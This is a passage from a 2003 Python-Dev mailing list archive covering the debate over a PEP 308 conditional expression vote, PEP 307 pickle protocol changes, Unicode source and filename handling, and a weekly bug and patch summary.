> In the cases of several of the features adopted recently, a quick
> inspection has initially led me to believe that the feature was not
> interesting but study showed that it was. I just don't think you can
> delegate this kind of study to a group that is mostly inexperienced
> even at programming much less language design.
> 
> I want my BDFL. As Davy Crockett said, "Be sure you're right, then
> go ahead."

But in this case, I can't made up my mind!  And as long as I haven't
made up my mind, I won't add it.  Hmm...

Well, I think right now I don't need if-then-else expressions enough
to want them.  I just examined a fairly large (> 1300 lines) module
that I recently spent a lot of time with, looking for places where I
could use it.  I found a dozen places where there was an if-else
construct with similar one-line then and else branches that could
easily be rewritten as a single line using an if-then-else expression.
But I'm not at all convinced that the resulting code is any more
understandable (even though it's shorter by three dozen lines).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Sat Feb  8 18:42:20 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 08 Feb 2003 13:42:20 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
Message-ID: <LNBBLJKPBEHFEDALKOLCOELMDMAB.tim.one@comcast.net>

[Paul F Dubois]
> I very much appreciate Guido putting forward a PEP on if expressions,
> but I must say the idea of letting c.l.p 'vote' on it is unwelcome.
> Voting only makes sense when an electorate is educated enough to
> properly understand the proposition and its consequences; the discussion
> so far makes clear that that isn't true. Programming languages need to
> be designed, not agglutinated. (Otherwise you get Perl and Fortran
> 2000 (:->)

I'd like to put a different light on it:  this is more of a vote taken
within a single-parent family, where the kids disagree and the parent
doesn't favor any particular outcome, but is weary of enduring the
bickering.  In that sense it's like the last time Guido asked for a vote:
do people want imaginary literals to be spelled with "i" or "j"?  He didn't
care which won, but was very keen to get the whining out of his inbox.

This one is more complicated, because the pros and cons on both sides are
subtler.  But after more than a decade of listening to this debate, neither
side makes a compelling case in Guido's eyes, and on balance he thinks
Python will be fine either way (when he said he was neither in favor of nor
opposed to the PEP, he meant it).

> I think it is fair to say that being the head designer of a language can
> lead to frustration at times; I had to endure it on a much smaller scale
> and it was very hard to keep patiently explaining how the features had
> to fit together, and how they had to be both parseable and implementable
> and learnable, and that not every little difficulty is worth a
> language feature.

Yup, and I expect anyone who has written a program with a user other than
themself <wink> has experienced this to some degree too.

> In the cases of several of the features adopted recently, a quick
> inspection has initially led me to believe that the feature was not
> interesting but study showed that it was. I just don't think you can
> delegate this kind of study to a group that is mostly inexperienced
> even at programming much less language design.

In this case, the issue has been studied by Guido for 10+ years off and on,
but no overall winner, based on his inscrutable design criteria(*), has
become apparent.

> I want my BDFL. As Davy Crockett said, "Be sure you're right, then go
> ahead."

Don't worry:   Guido may let us decide whether we want Coke or Pepsi from
time to time, but we'll still go to bed when he tells us to <wink>.


(*) By my design criteria, I want the ternary functionality, but find all
spellings proposed to date unattractive.  I'm not sure how much that
channels Guido's feelings about it.  I believe he wants the functionality
less than I do, but finds the proposed spelling more attractive ("less
repuslive" may be more accurate) than I do.  Either way, it's a wash.



From tim.one@comcast.net  Sat Feb  8 18:46:00 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 08 Feb 2003 13:46:00 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
Message-ID: <LNBBLJKPBEHFEDALKOLCAELNDMAB.tim.one@comcast.net>

[Paul F Dubois]
> I very much appreciate Guido putting forward a PEP on if expressions,
> but I must say the idea of letting c.l.p 'vote' on it is unwelcome.
> Voting only makes sense when an electorate is educated enough to
> properly understand the proposition and its consequences; the discussion
> so far makes clear that that isn't true. Programming languages need to
> be designed, not agglutinated. (Otherwise you get Perl and Fortran
> 2000 (:->)

I'd like to put a different light on it:  this is more of a vote taken
within a single-parent family, where the kids disagree and the parent
doesn't favor any particular outcome, but is weary of the bickering.  In
that sense it's like the last time Guido asked for a vote:  do people want
imaginary literals to be spelled with "i" or "j"?  He didn't care which won,
but was very keen to get the whining out of his inbox.

This one is more complicated, because the pros and cons on both sides are
subtler.  But after more than a decade of listening to this debate, neither
side makes a compelling case in Guido's eyes, and on balance he thinks
Python will be fine either way (when he said he was neither in favor of nor
opposed to the PEP, he meant it).

> I think it is fair to say that being the head designer of a language can
> lead to frustration at times; I had to endure it on a much smaller scale
> and it was very hard to keep patiently explaining how the features had
> to fit together, and how they had to be both parseable and implementable
> and learnable, and that not every little difficulty is worth a
> language feature.

Yup, and I expect anyone who has written a program with a user other than
themself <wink> has experienced this to some degree too.

> In the cases of several of the features adopted recently, a quick
> inspection has initially led me to believe that the feature was not
> interesting but study showed that it was. I just don't think you can
> delegate this kind of study to a group that is mostly inexperienced
> even at programming much less language design.

In this case, the issue has been studied by Guido for 10+ years off and on,
but no overall winner, based on his inscrutable design criteria(*), has
become apparent.

> I want my BDFL. As Davy Crockett said, "Be sure you're right, then go
> ahead."

Don't worry:  Guido may let us decide whether we want Coke or Pepsi from
time to time, but we'll still go to bed when he tells us to <wink>.


(*) By my design criteria, I want the ternary functionality, but find all
spellings proposed to date unattractive.  I'm not sure how much that
channels Guido's feelings about it.  I believe he wants the functionality
less than I do, but finds the proposed spelling more attractive than I do
("less repulsive" may be more accurate).  Either way, it's a wash.



From tim.one@comcast.net  Sat Feb  8 18:55:59 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 08 Feb 2003 13:55:59 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOELMDMAB.tim.one@comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAELODMAB.tim.one@comcast.net>

Oops!  Didn't mean to send that twice -- the machine crashed the first time,
and I assumed it hadn't gone out.



From DavidA@ActiveState.com  Sun Feb  9 04:39:51 2003
From: DavidA@ActiveState.com (David Ascher)
Date: Sat, 08 Feb 2003 20:39:51 -0800
Subject: [Python-Dev] vox populii illiterati
References: <LNBBLJKPBEHFEDALKOLCAELODMAB.tim.one@comcast.net>
Message-ID: <3E45DB97.6060106@ActiveState.com>

Tim Peters wrote:

>Oops!  Didn't mean to send that twice -- the machine crashed the first time,
>and I assumed it hadn't gone out.
>
I'm going to put forth a motion at PyCon to pool some money to buy Tim a 
real machine with a real OS...

--david




From tim_one@email.msn.com  Sun Feb  9 08:20:58 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Sun, 9 Feb 2003 03:20:58 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
In-Reply-To: <3E453B72.3050101@lemburg.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKENODLAB.tim_one@email.msn.com>

[M.-A. Lemburg]
> Which make me think: wouldn't a complete redesign from scratch under
> a new name provide more room for optimizations ?

PLabs doesn't have time for that (or are you volunteering <wink>?), and it's
unclear that there's significant room for optimization anyway.  There's
really no fat in the current scheme for Python's builtin types or classic
classes, and protocol 2 was mostly about cutting the fat for new-style
classes.  Some of proto 2 is even 2nd- or 3rd-order optimization, such as
minimizing the temp space required when unpickling large lists and dicts,
and implementing iinear-time pickling of Python longs.  The only obvious
waste now seems the production of many useless PUT (including its proto 1
variants) opcodes, but there's no way to stop that without turning pickling
into a multipass process.  Then it costs more pickling time and temp memory
to reduce pickle size and to reduce unpickling time and temp memory by some
unknown amount.  I don't know of any pure wins to be had.

> (after all, you are doing this for Zope's ZODB, right ?)

That's probably Zope Corp's primary interest.  I started whining about it
for the datetime module's objects, which proved *almost* impossible to
pickle efficiently in proto 1.  Lots of stuff was added to proto 2 to
address that.  In the end, though, Guido found a clean way to pickle
datetime module objects under proto 1, at the cost of giving the objects
slightly bizarre __new__ methods.

> ...
> I'm not using that. What I am using are the .save_*()
> and .load_*() method signatures and the .file attribute;
> plus the .disptach table, of course, which I have to update
> after overriding the methods.

Those all still exist, but there's not enough detail here to say much more
than that.  If, for example, you're overriding save_dict(), then of course
you're not going to get the "batching" optimizations implemented in 2.3
pickle.py's save_dict() (these reduce temp space needed when unpickling
large dicts, and produce proto 1 opcodes, so they're of some value even if
you're not using proto 2).



From just@letterror.com  Sun Feb  9 08:41:00 2003
From: just@letterror.com (Just van Rossum)
Date: Sun,  9 Feb 2003 09:41:00 +0100
Subject: [Python-Dev] Unicode source code
Message-ID: <r01050400-1023-398289BB3C0A11D7A5DA003065D5E7E4@[10.0.0.23]>

Now that PEP 263 is in place (yet hotly debated on c.l.py ;-), wouldn't
it be fairly small step to fully support unicode strings in compile(),
eval() and exec? I notice these still attempt to convert unicode to 8
bit with the default encoding, which isn't very useful.

Just


From just@letterror.com  Sun Feb  9 11:59:51 2003
From: just@letterror.com (Just van Rossum)
Date: Sun,  9 Feb 2003 12:59:51 +0100
Subject: [Python-Dev] Unicode filenames
Message-ID: <r01050400-1023-FFDE15C73C2511D7A290003065D5E7E4@[10.0.0.23]>

MacOSX fully supports unicode filenames (utf-8 is used throughout), and
I'm tempted to set Py_FileSystemDefaultEncoding to "utf8" for OSX. Jack
pointed me to a long thread about unicode filenames that took place on
python-dev last year, but I can't deduce from it whether there are any
disadvantages of setting Py_FileSystemDefaultEncoding.

Setting it seems to work wonderful. However, I'm a bit surprised that
os.listdir() doesn't return unicode strings. Is that because it would
break too much code?

BTW. if I try to create a file with an 8-bit filename which is _not_
valid utf-8, I get a strange error:

  >>> f = open("\xff", "w")
  Traceback (most recent call last):
    File "<stdin>", line 1, in ?
  IOError: invalid mode: w
  >>> 

This exception is thrown when errno is EINVAL, which apparently can also
mean that the filename arg is bad. Not sure if we can fix this.

Just


From skip@manatee.mojam.com  Sun Feb  9 13:00:20 2003
From: skip@manatee.mojam.com (Skip Montanaro)
Date: Sun, 9 Feb 2003 07:00:20 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
Message-ID: <200302091300.h19D0KQQ007342@manatee.mojam.com>

Bug/Patch Summary
-----------------

336 open / 3310 total bugs (-15)
123 open / 1962 total patches (+2)

New Bugs
--------

Security review of pickle/marshal docs (2001-10-16)
	http://python.org/sf/471893
long(3.1415) gives zero on Solaris 8 (2003-02-03)
	http://python.org/sf/679520
Header loses lines, formats strangely (2003-02-03)
	http://python.org/sf/679827
'compile' refuses BOM. (2003-02-03)
	http://python.org/sf/679880
zipfile.py - pack filesize as unsigned allows files > 2 gig (2003-02-03)
	http://python.org/sf/679953
Incorrect permissions set in lib-dynload. (2003-02-04)
	http://python.org/sf/680379
__module__ broken for extension classes (2003-02-04)
	http://python.org/sf/680429
urllib2 authentication problem (2003-02-04)
	http://python.org/sf/680577
repr() of large array objects takes quadratic time (2003-02-05)
	http://python.org/sf/680789
C subtypes do not inherit tp_as_buffer (2003-02-05)
	http://python.org/sf/681367
Source encoding rules are extreme. (2003-02-06)
	http://python.org/sf/681960
Carbon.CF.CFString should require ASCII (2003-02-07)
	http://python.org/sf/682215
plistlib.py selftest fails (2003-02-07)
	http://python.org/sf/682317
email: preamble must be \n terminated (2003-02-07)
	http://python.org/sf/682504
urllib2 HTTPDigestAuthHandler misnamed class attr (2003-02-07)
	http://python.org/sf/682648
dircache.listdir doesn't signal error (2003-02-08)
	http://python.org/sf/682813
gzip module cannot write large files (2003-02-08)
	http://python.org/sf/683061

New Patches
-----------

xmlrpclib: better string encoding in responce package (2003-02-03)
	http://python.org/sf/679383
SimpleXMLRPCServer: optional 'encoding' argument (2003-02-03)
	http://python.org/sf/679392
Deprecate rotor module (2003-02-03)
	http://python.org/sf/679505
Fix for the bug #679880: 'compile' refuses BOM. (2003-02-04)
	http://python.org/sf/680474
replace() method in unicode objects (2003-02-05)
	http://python.org/sf/680863
Tiny patch for bug 612074: sre unicode escapes (2003-02-05)
	http://python.org/sf/681152
using gcc on cygwin for config (2003-02-05)
	http://python.org/sf/681504
smtpd.py move setuid, allow dashes (2003-02-05)
	http://python.org/sf/681515
Faster commonprefix (OS independent) (2003-02-06)
	http://python.org/sf/681780
bundlebuilder: Add dylibs, frameworks to the bundle (2003-02-06)
	http://python.org/sf/681927
lookbehind tests (2003-02-07)
	http://python.org/sf/682432
Optional output streams for dis (2003-02-08)
	http://python.org/sf/683074
Patch for bug 580952: import lock should be exposed (2003-02-08)
	http://python.org/sf/683257

Closed Bugs
-----------

pydoc should be integrated with HTML doc (2001-03-02)
	http://python.org/sf/405554
sdist can't create empty directories (2001-04-02)
	http://python.org/sf/413144
urllib and socket fail with MS proxy (2001-05-23)
	http://python.org/sf/426866
distutils does not deduce dependencies (2001-10-19)
	http://python.org/sf/472881
popen3 file objects hanging (2001-11-14)
	http://python.org/sf/481896
python 2.2 shelve (2002-01-16)
	http://python.org/sf/504282
pydoc fails to generate html doc (2002-02-07)
	http://python.org/sf/514627
Interpreter crashes when recoding (2002-04-13)
	http://python.org/sf/543344
Inconsistent behaviour in re grouping (2002-07-01)
	http://python.org/sf/576079
Subclassing WeakValueDictionary impossib (2002-07-11)
	http://python.org/sf/580107
add way to detect bsddb version (2002-07-21)
	http://python.org/sf/584409
SMTP.login() uses invalid base64 enc. (2002-09-18)
	http://python.org/sf/611052
help(UNICODE) -- reference page missing (2002-10-17)
	http://python.org/sf/624860
Move bdist_wininst source code into PC (2002-11-14)
	http://python.org/sf/638595
Discovered typo in zlib test. (2002-11-18)
	http://python.org/sf/640230
help() fails for some builtin topics (2002-11-21)
	http://python.org/sf/642168
typeobject provides incorrect __mul__ (2002-12-30)
	http://python.org/sf/660144
urllib2 exceptions need improvement (2003-01-04)
	http://python.org/sf/662099
Crash in binascii_a2b_uu (2003-01-09)
	http://python.org/sf/665460
'help' makes linefeed only under Win32 (2003-01-11)
	http://python.org/sf/666444
Abort with "negative ref count" (2003-01-15)
	http://python.org/sf/668433
time module: time tuple not returned by certain functions (2003-01-21)
	http://python.org/sf/671731
setting socket timeout crashes SSL? (2003-01-23)
	http://python.org/sf/673797
re.compile fails for verbose re with more than one group (2003-01-24)
	http://python.org/sf/674264
os.environ leaks under FreeBSD and Mac OS X (2003-01-26)
	http://python.org/sf/675259
BaseHTTPServer; HTTP/1.1 spec not "vague" (2003-01-28)
	http://python.org/sf/676273
BaseHTTPServer incorrectly parses protocol (2003-01-28)
	http://python.org/sf/676292
after using pdb readline does not work correctly (2003-01-28)
	http://python.org/sf/676342
add warning to os.getlogin (2003-01-31)
	http://python.org/sf/678077
list.append memory leak ? (2003-01-31)
	http://python.org/sf/678352
test_long fails (2003-01-31)
	http://python.org/sf/678375

Closed Patches
--------------

start docs for PyEval_* functions (2002-04-12)
	http://python.org/sf/543098
cmd.py: add instance-specific stdin/out (2002-05-20)
	http://python.org/sf/558544
PEP 269 Implementation (2002-08-23)
	http://python.org/sf/599331
build_ext forgets libraries par w MSVC (2002-08-28)
	http://python.org/sf/601314
Modulefinder doesn't handle PyXML (2002-11-13)
	http://python.org/sf/637835
PEP 298 implementation (2002-12-12)
	http://python.org/sf/652857
gzip shouldn't ValueError on corruptfile (2002-12-15)
	http://python.org/sf/654421
apply() should get PendingDeprecation (2003-01-02)
	http://python.org/sf/661437
distutils config exe_extension on Mac OS X, Linux (2003-01-07)
	http://python.org/sf/664131
Expand dbshelve to have full shelve/dict interface (2003-01-24)
	http://python.org/sf/674396
Cygwin _tkinter Tcl/Tk 8.4 patch (2003-01-29)
	http://python.org/sf/676835
zlib module needs decompress flush. (2003-01-31)
	http://python.org/sf/678531
Use ifilter in sets module (2003-02-01)
	http://python.org/sf/678899


From guido@python.org  Sun Feb  9 13:11:07 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 09 Feb 2003 08:11:07 -0500
Subject: [Python-Dev] Unicode source code
In-Reply-To: "Your message of Sun, 09 Feb 2003 09:41:00 +0100."
 <r01050400-1023-398289BB3C0A11D7A5DA003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-398289BB3C0A11D7A5DA003065D5E7E4@[10.0.0.23]>
Message-ID: <200302091311.h19DB7129167@pcp02138704pcs.reston01.va.comcast.net>

> Now that PEP 263 is in place (yet hotly debated on c.l.py ;-), wouldn't
> it be fairly small step to fully support unicode strings in compile(),
> eval() and exec? I notice these still attempt to convert unicode to 8
> bit with the default encoding, which isn't very useful.

I guess that's in the "would be nice" category; alas it's also in
the "I don't have time for it" category.  If you can figure out how
easy it would be, I'm open for a patch.

--Guido van Rossum (home page: http://www.python.org/~guido/)



From guido@python.org  Sun Feb  9 13:20:30 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 09 Feb 2003 08:20:30 -0500
Subject: [Python-Dev] Unicode filenames
In-Reply-To: "Your message of Sun, 09 Feb 2003 12:59:51 +0100."
 <r01050400-1023-FFDE15C73C2511D7A290003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-FFDE15C73C2511D7A290003065D5E7E4@[10.0.0.23]>
Message-ID: <200302091320.h19DKUc29219@pcp02138704pcs.reston01.va.comcast.net>

> MacOSX fully supports unicode filenames (utf-8 is used throughout), and
> I'm tempted to set Py_FileSystemDefaultEncoding to "utf8" for OSX. Jack
> pointed me to a long thread about unicode filenames that took place on
> python-dev last year, but I can't deduce from it whether there are any
> disadvantages of setting Py_FileSystemDefaultEncoding.
> 
> Setting it seems to work wonderful. However, I'm a bit surprised that
> os.listdir() doesn't return unicode strings. Is that because it would
> break too much code?

I think that's shallow: the special-casing of unicode_file_names()
only exists in the Windows branch of the code.

> BTW. if I try to create a file with an 8-bit filename which is _not_
> valid utf-8, I get a strange error:
> 
>   >>> f = open("\xff", "w")
>   Traceback (most recent call last):
>     File "<stdin>", line 1, in ?
>   IOError: invalid mode: w
>   >>> 
> 
> This exception is thrown when errno is EINVAL, which apparently can also
> mean that the filename arg is bad. Not sure if we can fix this.

I think we should (maybe we already do) check the mode string more
carefully ourselves, and not rely on undocumented correlations between
error returns.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Sun Feb  9 14:42:59 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sun, 09 Feb 2003 15:42:59 +0100
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E4668F3.8020904@lemburg.com>

Guido van Rossum wrote:
>>I very much appreciate Guido putting forward a PEP on if
>>expressions, but I must say the idea of letting c.l.p 'vote' on it
>>is unwelcome. Voting only makes sense when an electorate is educated
>>enough to properly understand the proposition and its consequences;
>>the discussion so far makes clear that that isn't true. Programming
>>languages need to be designed, not agglutinated. (Otherwise you get
>>Perl and Fortran 2000 (:->)
> 
> 
> Part of my "cunning plan" is to show that indeed this doesn't work.
> I'm hoping you will forgive me this once-only Macchiavellian move. :-)
> 
> 
>>I think it is fair to say that being the head designer of a language
>>can lead to frustration at times; I had to endure it on a much
>>smaller scale and it was very hard to keep patiently explaining how
>>the features had to fit together, and how they had to be both
>>parseable and implementable and learnable, and that not every little
>>difficulty is worth a language feature.
> 
> 
> I admit I've lost some of my patience.  Showing that there is immense
> resistance to if-then-else expressions (even if there is also a lot of
> pressure to add them) would make it easier in the future to explain
> why they aren't there.

Good plan :-)

Except maybe one nit: some of us here in python-dev don't read
c.l.p, so their vote wouldn't get taken into account. Even though
you didn't want this to be discussed here, I hope you don't mind
posting my -1 here.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 09 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     51 days left
EuroPython 2003, Charleroi, Belgium:                       135 days left



From mal@lemburg.com  Sun Feb  9 14:44:32 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sun, 09 Feb 2003 15:44:32 +0100
Subject: [Python-Dev] Unicode source code
In-Reply-To: <r01050400-1023-398289BB3C0A11D7A5DA003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-398289BB3C0A11D7A5DA003065D5E7E4@[10.0.0.23]>
Message-ID: <3E466950.2070707@lemburg.com>

Just van Rossum wrote:
> Now that PEP 263 is in place (yet hotly debated on c.l.py ;-), wouldn't
> it be fairly small step to fully support unicode strings in compile(),
> eval() and exec? I notice these still attempt to convert unicode to 8
> bit with the default encoding, which isn't very useful.

Patches are most welcome.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 09 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     51 days left
EuroPython 2003, Charleroi, Belgium:                       135 days left



From pyth@devel.trillke.net  Sun Feb  9 14:56:35 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Sun, 9 Feb 2003 15:56:35 +0100
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <3E4668F3.8020904@lemburg.com>; from mal@lemburg.com on Sun, Feb 09, 2003 at 03:42:59PM +0100
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com>
Message-ID: <20030209155635.T1706@prim.han.de>

M.-A. Lemburg wrote:
> [gvr]
> > I admit I've lost some of my patience.  Showing that there is immense
> > resistance to if-then-else expressions (even if there is also a lot of
> > pressure to add them) would make it easier in the future to explain
> > why they aren't there.
> 
> Good plan :-)
> 
> Except maybe one nit: some of us here in python-dev don't read
> c.l.p, so their vote wouldn't get taken into account. Even though
> you didn't want this to be discussed here, I hope you don't mind
> posting my -1 here.

It seems there we will a separate Call-for-votes (probably done
by Aahz) also to the announce list so it's not too difficult 
to participate. 

Nobody will try to sort out the votes from the well over 
600 postings (and growing).  No doubt, the real motiviation
was to boost python's popularity so that it wins the 'february'
comparisons of language newsgroup activities. 

    holger


From pinard@iro.umontreal.ca  Sun Feb  9 15:24:48 2003
From: pinard@iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=)
Date: 09 Feb 2003 10:24:48 -0500
Subject: [Python-Dev] Re: vox populii illiterati
In-Reply-To: <3E4668F3.8020904@lemburg.com>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com>
Message-ID: <oqlm0pcw8v.fsf@titan.progiciels-bpi.ca>

[M.-A. Lemburg]

> Good plan :-)

> Except maybe one nit: some of us here in python-dev don't read
> c.l.p, so their vote wouldn't get taken into account.

The trend of discussions seem to suggest that the result of that effort will
be summarised by statistics: this syntactic construct, this number of votes.

But the spirit of a PEP, if I understand it well, is mainly to register the
outcome of all discussions, opinions and reasons behind them, and how these
were weighted and pondered into any final decision.  The idea is that later
newcomers can then be directed to its PEP whenever a subject pops up again.

One problem here is that the PEP author (Guido) does not intend to follow
the whole discussion, admittedly fluent in these days.  How will it be
reported then, in the spirit of a PEP, that is, more than mere statistics?

-- 
François Pinard   http://www.iro.umontreal.ca/~pinard


From guido@python.org  Sun Feb  9 15:39:28 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 09 Feb 2003 10:39:28 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: "Your message of Sun, 09 Feb 2003 15:56:35 +0100."
 <20030209155635.T1706@prim.han.de>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de>
Message-ID: <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>

> Nobody will try to sort out the votes from the well over 
> 600 postings (and growing).

Ouch.  And it's only Sunday morning here.  That exceeds my wildest
expectations.

Is anybody at least collecting useful feedback?  I'm willing to update
the PEP to at least mention sensible alternatives or arguments pro and
con, but I can't read the c.l.py messages.

> No doubt, the real motiviation was to boost python's popularity so
> that it wins the 'february' comparisons of language newsgroup
> activities.

I didn't even know there was such a comparison.  Seems pretty silly to
me. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From just@letterror.com  Sun Feb  9 15:53:47 2003
From: just@letterror.com (Just van Rossum)
Date: Sun,  9 Feb 2003 16:53:47 +0100
Subject: [Python-Dev] Unicode source code
In-Reply-To: <3E466950.2070707@lemburg.com>
Message-ID: <r01050400-1023-ADBF3EC43C4611D7A290003065D5E7E4@[10.0.0.23]>

M.-A. Lemburg wrote:

> Just van Rossum wrote:
> > Now that PEP 263 is in place (yet hotly debated on c.l.py ;-),
> > wouldn't it be fairly small step to fully support unicode strings
> > in compile(), eval() and exec? I notice these still attempt to
> > convert unicode to 8 bit with the default encoding, which isn't
> > very useful.
> 
> Patches are most welcome.

Some guidance on where to look is more than welcome.

Just


From gward@python.net  Sun Feb  9 16:32:18 2003
From: gward@python.net (Greg Ward)
Date: Sun, 9 Feb 2003 11:32:18 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
In-Reply-To: <200302071833.h17IXNl11929@odiug.zope.com>
References: <200302071833.h17IXNl11929@odiug.zope.com>
Message-ID: <20030209163218.GA10758@cthulhu.gerg.ca>

On 07 February 2003, Guido van Rossum said:
> I'm assuming a fair number of people have been following this already
> in the checkins list; I think it's ready for review on python-dev:
> 
>   http://www.python.org/peps/pep-0307.html

Haven't read the whole thing, but this:

> Several functions, methods and constructors used for pickling used
> to take a positional argument named 'bin' which was a flag,
> defaulting to 0, indicating binary mode.  This argument is renamed
> to 'proto' and now gives the protocol number, still defaulting to 0.

gave me pause: 'protocol' would be much clearer, and only costs three
more characters.

        Greg
-- 
Greg Ward <gward@python.net>                         http://www.gerg.ca/
Know thyself.  If you need help, call the CIA.


From mal@lemburg.com  Sun Feb  9 16:39:59 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sun, 09 Feb 2003 17:39:59 +0100
Subject: [Python-Dev] Unicode source code
In-Reply-To: <r01050400-1023-ADBF3EC43C4611D7A290003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-ADBF3EC43C4611D7A290003065D5E7E4@[10.0.0.23]>
Message-ID: <3E46845F.4040805@lemburg.com>

Just van Rossum wrote:
> M.-A. Lemburg wrote:
> 
> 
>>Just van Rossum wrote:
>>
>>>Now that PEP 263 is in place (yet hotly debated on c.l.py ;-),
>>>wouldn't it be fairly small step to fully support unicode strings
>>>in compile(), eval() and exec? I notice these still attempt to
>>>convert unicode to 8 bit with the default encoding, which isn't
>>>very useful.
>>
>>Patches are most welcome.
> 
> Some guidance on where to look is more than welcome.

The tokenizer/compiler works as follows (quote from another
email):

"""
source code using encoding ENC
-> via codec for ENC into Unicode
-> via UTF-8 codec into UTF-8 string
-> tokenizer
-> compiler
for 8-bit string literals in the source code
-> UTF-8 string is converted back into encoding ENC

Provided that the encoding ENC is roundtrip safe
for all 256 base character ordinals, 8-bit strings
will turn out as-is in the compiled byte code.
"""

Now, to accept Unicode it would probably be worthwhile hooking
into this chain at step 2 rather than step 1 (the code for the
tokenizer is in Parser/tokenizer.c, the compiler code in
Python/compiler.c), however, this is difficult because most
APIs for compiling code are built on char* buffers.

A short-term solution would probably be to convert Unicode to
UTF-8 and prepend a UTF-8 BOM mark so that the tokenizer
knows that it is getting UTF-8. Haven't tested this though.

A slightly better solution (on narrow Unicode Python builds)
would be to use UTF-16 for this. The UTF-16 support in the
tokenizer would have to be enabled for this, though. It is
currently disabled for some reason I don't remember. Martin
should know... but he's on vacation.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 09 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     51 days left
EuroPython 2003, Charleroi, Belgium:                       135 days left



From neal@metaslash.com  Sun Feb  9 16:51:10 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Sun, 09 Feb 2003 11:51:10 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de>
 <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030209165109.GO23059@epoch.metaslash.com>

On Sun, Feb 09, 2003 at 10:39:28AM -0500, Guido van Rossum wrote:
> > Nobody will try to sort out the votes from the well over 
> > 600 postings (and growing).
> 
> Ouch.  And it's only Sunday morning here.  That exceeds my wildest
> expectations.
> 
> Is anybody at least collecting useful feedback?  I'm willing to update
> the PEP to at least mention sensible alternatives or arguments pro and
> con, but I can't read the c.l.py messages.

I have read most of the posts.  It's a bit humorous to watch emotions
get so stirred in both directions.  It seems there are many
python-devers following the discussion: Aahz, Andrew Koenig (ARK),
Michael Hudson, Holger Krekel, and Tim have all posted.  ARK seems
to be the most pro, Aahz the most against.  (I'm +0 on having
a ternary operator in theory, -1 on PEP 308.)

ARK can do the best job of summarizing the pro-side, but the
strongest arguments I've seen are that using a ternary op can
reduce bugs by not duplicating a variable on assignment:

        if cond:
                x = true_value
        else:
                x = false_value

vs. (in C notation):
        x = cond ? true_value : false_value

Since x is only mentioned once, you can't get it wrong.

Part of the reason for using if-expressions (the ternary op) is the
programmer has a different mindset.  They aren't thinking about
control (as in an if statement).  They are thinking about an
expression and the ternary operator allows them to program what they
are thinking.  It also would be usable in lambdas.  Many against feel
that using a conditional (if) is always control.  (I'm generalizing a
bit.)

One thing to note, many people are saying you can currently do:

        cond and true_value or false_value

